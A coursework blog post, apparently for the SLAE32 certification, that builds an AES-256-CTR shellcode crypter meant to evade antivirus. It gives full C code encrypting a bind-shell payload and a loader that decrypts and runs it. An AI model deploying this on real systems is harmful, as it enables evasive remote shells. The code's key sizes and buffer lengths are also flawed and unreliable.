Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
395 lines (305 sloc) 12.2 KB
author thumbnail comments date categories layout title site.url site.baseurl url excerpt image header tags
matteo_malvica
logo
true
2017-10-09 09:08:06 +0000
post
SLAE32 - Assignment 7 - Custom Crypter
avanzo.github.io
avanzo.github.io
avanzo.github.io
feature
/assets/images/default-thumb.png
overlay_image image_description overlay_filter cta_label cta_url
/assets/images/header_nero_sito_1200px256px.jpg
banner
rgba(0, 0, 0, 0.3)
@avanzo
exploit
SLAE
shellcode
security
x86IA
disassemble
crypter



As as a seventh and last assignment of the 32-bit Securitytube Linux Assembly Expert, I have been tasked to create a custom shellcode crypter.
The idea behind a crypter, is to encode the shellcode beforehand and decode it at runtime. This process will make the shellcode looks like random values, and thus aiming to bypass AV and IDS detection.
{: .text-justify} When it comes to cryptography, it is a well-known wise approach to not try to reinvent the wheel and instead use what is available and well tested: this is done to prevent any new weakness or bug to be introduced in a a freshly written crypto-algorithm. {: .text-justify} I have so decided to use widely adopted OpenSSL EVP framework and AES-256-CTR as symmetric stream cipher. {: .text-justify} As a target shellcode, we are going to use the tcp-bind used for the first SLAE task, which will listen on port 1234. {: .text-justify} We then use two piece of C code, one for crypting the shellcode and the other one for decrypt it and execute it. {: .text-justify} For a successfull encryption we need two more piece of information: {: .text-justify}

  • An initialization vector (IV), responsible for creaing randomness
  • A shared secret (password), which is used for symmetric encryption/decryption. {: .text-justify}

Both of these values must be identical during the two phases, otherwise the process gets compromised. {: .text-justify} We generate the secrete passphrase by SHA hasing a simple 'shellcode' word {: .text-justify} {% highlight text hl_lines="1 3 4" %}

echo shellcode | shasum

424b1e9083e83b822ac7dbeb47be5f7dc0d849d5 {% endhighlight %}

And multiplate to fit the same length as the shellcode (89 bytes)

And truncated to 128bits '01123481321345514' as initial IV (we kept it simple for the sake of this example, but normally the value should be generated randomly and not with a well known function :)

I have decided to use AES Counter Mode which is the key-stream version of the cipher.

Here is the EVP C code template, which will perform shellcode encryption. {: .text-justify}

{% highlight c hl_lines="1 3 4" %} #include <openssl/conf.h> #include <openssl/evp.h> #include <openssl/err.h> #include <string.h>

void print_shellcode(unsigned char *shellcode) { size_t len = strlen(shellcode); int i;

for (i = 0; i < len; i++) {
    printf("\\x%02x", *(shellcode + i));
}

printf("\n\n");

}

int main(int argc, char *argv[]) { // 712 bit key unsigned char *key = "424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7";

// 128 bit IV
unsigned char *iv = "01123481321345514";



// Unencrypted tcp-bind shellcode listening on port 1234
unsigned char *plaintext = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56"
                           "\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97"
                           "\x93\xb0\x66\x56\x66\x68\x04\xd2\x66"
                           "\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1"
                           "\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89"
                           "\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57"
                           "\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93"
                           "\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
                           "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                           "\x6e\x89\xe3\x41\x89\xca\xcd\x80";

// Buffer for ciphertext
unsigned char ciphertext[712];

// Buffer for the decrypted text
unsigned char decrypted_text[712];

int decrypted_len, encrypted_len;

// Initialize the library
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);

// Encrypt the plaintext
encrypted_len = encrypt(plaintext, strlen(plaintext), key, iv,
                        ciphertext);

printf("Ciphertext is:\n");
BIO_dump_fp(stdout, ciphertext, encrypted_len);
printf("\n");

// Decrypt the ciphertext
decrypted_len = decrypt(ciphertext, encrypted_len, key, iv,
                        decrypted_text);

decrypted_text[decrypted_len] = '\0';

printf("Decrypted text is:\n");
print_shellcode(decrypted_text);

// Compare decrypt(encrypt(plaintext)) result to the original plaintext.
if (strcmp(plaintext, decrypted_text) != 0) {
    printf("The decrypted shellcode does not match the plaintext.\n\n");
} else {
    printf("The decrypted shellcode matches the plaintext.\n\n");
}

// Cleanup
EVP_cleanup();
ERR_free_strings();

return 0;

}

void handleErrors(void) { ERR_print_errors_fp(stderr); abort(); }

int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) { EVP_CIPHER_CTX *ctx; int len; int ciphertext_len;

// Create context
if (! (ctx = EVP_CIPHER_CTX_new())) {
    handleErrors();
}

// Initialize encryption
if (EVP_EncryptInit_ex(ctx, EVP_aes_256_ctr(), NULL, key, iv) != 1) {
    handleErrors();
}

// Encrypt the message
if (EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len) != 1) {
    handleErrors();
}

ciphertext_len = len;

// Finalize encryption
if (EVP_EncryptFinal_ex(ctx, ciphertext + len, &len) != 1) {
    handleErrors();
}

ciphertext_len += len;

// Cleanup
EVP_CIPHER_CTX_free(ctx);

return ciphertext_len;

}

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) { EVP_CIPHER_CTX *ctx; int len; int plaintext_len;

// Create context
if (! (ctx = EVP_CIPHER_CTX_new())) {
    handleErrors();
}

// Initialize decryption
if (EVP_DecryptInit_ex(ctx, EVP_aes_256_ctr(), NULL, key, iv) != 1) {
    handleErrors();
}

// Decrypt the message
if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
    handleErrors();
}

plaintext_len = len;

// Finalize decryption
if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
    handleErrors();
}

plaintext_len += len;

// Cleanup
EVP_CIPHER_CTX_free(ctx);

return plaintext_len;

} {% endhighlight %}

And compile and run it:

{% highlight text hl_lines="1 3 4" %}

gcc -o crypter crypter.c -lcrypto

./crypter

Ciphertext is: 0000 - d1 9d 6f 0f 07 68 b8 3a-51 72 21 30 6a 16 e7 2d ..o..h.:Qr!0j..- 0010 - c2 39 91 45 58 dd 54 f6-c1 75 b4 1c 59 0a b4 ac .9.EX.T..u..Y... 0020 - ff 24 3f b1 fc fe d3 e5-d4 55 bb 55 4c cc f5 eb .$?......U.UL... 0030 - ac 93 e6 5d e6 f1 fa 1a-1d 6a f5 9d cf 45 77 2a ...].....j...Ew* 0040 - 6e d8 0e 19 88 f0 52 9c-e8 29 a9 cd e1 dd 9f 96 n.....R..)...... 0050 - d1 d0 dc 99 70 96 44 4f-d8 ....p.DO.

Decrypted text is: \x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80

The decrypted shellcode matches the plaintext. {% endhighlight %}

We now take the encrypted shellcode and place it inside the decrypt.c code:

{% highlight c hl_lines="1 3 4" %} #include <openssl/conf.h> #include <openssl/evp.h> #include <openssl/err.h> #include <string.h>

void print_shellcode(unsigned char *shellcode) { size_t len = strlen(shellcode); int i;

for (i = 0; i < len; i++) {
    printf("\\x%02x", *(shellcode + i));
}

printf("\n\n");

}

int main(int argc, char *argv[]) { // 256 bit key unsigned char *key = "424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7";

// 128 bit IV
unsigned char *iv = "01123481321345514";

// Encrypted shellcode
unsigned char *encrypted_shellcode =

"\xd1\x9d\x6f\x0f\x07\x68\xb8\x3a\x51\x72\x21\x30\x6a\x16\xe7\x2d" "\xc2\x39\x91\x45\x58\xdd\x54\xf6\xc1\x75\xb4\x1c\x59\x0a\xb4\xac" "\xff\x24\x3f\xb1\xfc\xfe\xd3\xe5\xd4\x55\xbb\x55\x4c\xcc\xf5\xeb" "\xac\x93\xe6\x5d\xe6\xf1\xfa\x1a\x1d\x6a\xf5\x9d\xcf\x45\x77\x2a" "\x6e\xd8\x0e\x19\x88\xf0\x52\x9c\xe8\x29\xa9\xcd\xe1\xdd\x9f\x96" "\xd1\xd0\xdc\x99\x70\x96\x44\x4f\xd8";

// Buffer for the decrypted text
unsigned char decrypted_shellcode[712];

int decrypted_len;

// Initialize the library
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);

// Decrypt the ciphertext
decrypted_len = decrypt(encrypted_shellcode, 712, key, iv,
                        decrypted_shellcode);

decrypted_shellcode[decrypted_len] = '\0';

printf("Decrypted text is:\n");
print_shellcode(decrypted_shellcode);

// Execute decrypted shellcode
printf("Executing shellcode...\n");
printf("Shellcode Length:  %d\n", strlen(decrypted_shellcode));
int (*ret)() = (int(*)())decrypted_shellcode;
ret();

// Cleanup
EVP_cleanup();
ERR_free_strings();

return 0;

}

void handleErrors(void) { ERR_print_errors_fp(stderr); abort(); }

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) { EVP_CIPHER_CTX *ctx; int len; int plaintext_len;

// Create context
if (! (ctx = EVP_CIPHER_CTX_new())) {
    handleErrors();
}

// Initialize decryption
if (EVP_DecryptInit_ex(ctx, EVP_aes_256_ctr(), NULL, key, iv) != 1) {
    handleErrors();
}

// Decrypt the message
if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
    handleErrors();
}

plaintext_len = len;

// Finalize decryption
if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
    handleErrors();
}

plaintext_len += len;

// Cleanup
EVP_CIPHER_CTX_free(ctx);

return plaintext_len;

} {% endhighlight %}

And again, compile it and execute it: {% highlight text hl_lines="1 3 4" %} #gcc -o decrypt decrypt.c -lcrypto -z execstack

root@nelson:~/Desktop/x86Assembly/SLAE/Exam/7# ./decrypt Decrypted text is: \x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80\x18\x27\x64\x42\x43\xbd\xfa\x89\xa1\x87

Executing shellcode... Shellcode Length: 99 {% endhighlight%}

We can now open another shell terminal and verify that indeed the shellcode is happily listening on port '1234' {% highlight text hl_lines="1 3 4" %}

netstat -antp

Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name ... tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 5480/./decrypt {% endhighlight%}

{: .text-justify}


My assignment code can be found: here



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-5837